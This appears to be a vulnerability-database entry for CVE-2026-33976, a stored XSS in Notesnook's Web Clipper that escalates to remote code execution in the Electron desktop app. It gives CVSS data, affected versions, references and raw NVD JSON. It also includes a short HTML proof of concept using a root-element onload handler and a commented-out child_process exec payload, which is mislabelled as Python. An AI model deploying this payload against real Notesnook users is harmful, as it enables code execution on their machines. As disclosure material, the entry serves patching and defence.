CVE-2026-33976

Description

Notesnook is a note-taking app. Prior to version 3.3.11 on Web/Desktop and 3.3.17 on Android/iOS, a stored XSS in the Web Clipper rendering flow can be escalated to remote code execution in the desktop app. The root cause is that the clipper preserves attacker-controlled attributes from the source page’s root element and stores them inside web-clip HTML. When the clip is later opened, Notesnook renders that HTML into a same-origin, unsandboxed iframe using `contentDocument.write(...)`. Event-handler attributes such as `onload`, `onclick`, or `onmouseover` execute in the Notesnook origin. In the desktop app, this becomes RCE because Electron is configured with `nodeIntegration: true` and `contextIsolation: false`. Version 3.3.11 Web/Desktop and 3.3.17 on Android/iOS patch the issue.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:streetwriters:notesnook_desktop:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:streetwriters:notesnook_mobile:*:*:*:*:*:android:*:* - VULNERABLE

cpe:2.3:a:streetwriters:notesnook_mobile:*:*:*:*:*:iphone_os:*:* - VULNERABLE

Web/Desktop < 3.3.11

Android/iOS < 3.3.17

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-33976 -->
<!-- Attacker creates a malicious page with an event handler on the root element -->
<html onload="alert('XSS Triggered'); // In Desktop App, this can lead to RCE via Node.js integration">
  <head>
    <title>Malicious Site</title>
  </head>
  <body>
    <h1>Notesnook Web Clipper PoC</h1>
    <p>If this page is clipped and viewed in the vulnerable Notesnook Desktop app, the payload executes.</p>
    
    <!-- Example RCE payload for Electron context -->
    <!-- 
    <script>
      const { exec } = require('child_process');
      exec('calc.exe'); // Windows calculator as proof of execution
    </script> 
    -->
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33976
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33976
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33976/
[4] VulDB https://vuldb.com/cve/CVE-2026-33976
[5] https://github.com/streetwriters/notesnook/security/advisories/GHSA-f42f-phvp-43x5

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33976", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:22.250", "lastModified": "2026-03-31T18:21:36.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Notesnook is a note-taking app. Prior to version 3.3.11 on Web/Desktop and 3.3.17 on Android/iOS, a stored XSS in the Web Clipper rendering flow can be escalated to remote code execution in the desktop app. The root cause is that the clipper preserves attacker-controlled attributes from the source page’s root element and stores them inside web-clip HTML. When the clip is later opened, Notesnook renders that HTML into a same-origin, unsandboxed iframe using `contentDocument.write(...)`. Event-handler attributes such as `onload`, `onclick`, or `onmouseover` execute in the Notesnook origin. In the desktop app, this becomes RCE because Electron is configured with `nodeIntegration: true` and `contextIsolation: false`. Version 3.3.11 Web/Desktop and 3.3.17 on Android/iOS patch the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:streetwriters:notesnook_desktop:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.3.11", "matchCriteriaId": "08C11EDB-67C1-4E85-A07D-0164CB036757"}, {"vulnerable": true, "criteria": "cpe:2.3:a:streetwriters:notesnook_mobile:*:*:*:*:*:android:*:*", "versionEndExcluding": "3.3.17", "matchCriteriaId": "105C802D-D317-4B9A-B883-D07A1E0840E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:streetwriters:notesnook_mobile:*:*:*:*:*:iphone_os:*:*", "versionEndExcluding": "3.3.17", "matchCriteriaId": "858B01C2-38C3-4093-A638-E380119ABDF5"}]}]}], "references": [{"url": "https://github.com/streetwriters/notesnook/security/advisories/GHSA-f42f-phvp-43x5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}